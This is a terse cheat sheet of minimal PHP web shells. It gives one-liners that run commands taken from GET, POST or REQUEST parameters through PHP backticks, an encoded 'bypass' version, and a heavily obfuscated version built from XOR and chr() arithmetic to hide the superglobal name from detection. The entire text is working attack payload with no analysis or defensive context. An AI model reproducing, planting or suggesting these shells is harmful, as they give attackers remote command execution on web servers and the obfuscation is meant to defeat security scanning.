PHP - Tiny with bypass:

<?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`;

PHP - Tiny with obfuscation:

# Unobfuscated
 
<?=`$_GET[0]`?> 
<?=`$_POST[0]`?> 
<?=`{$_REQUEST['_']}`?>
 
# Obfuscated
 
<?=$_="";$_="'";$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>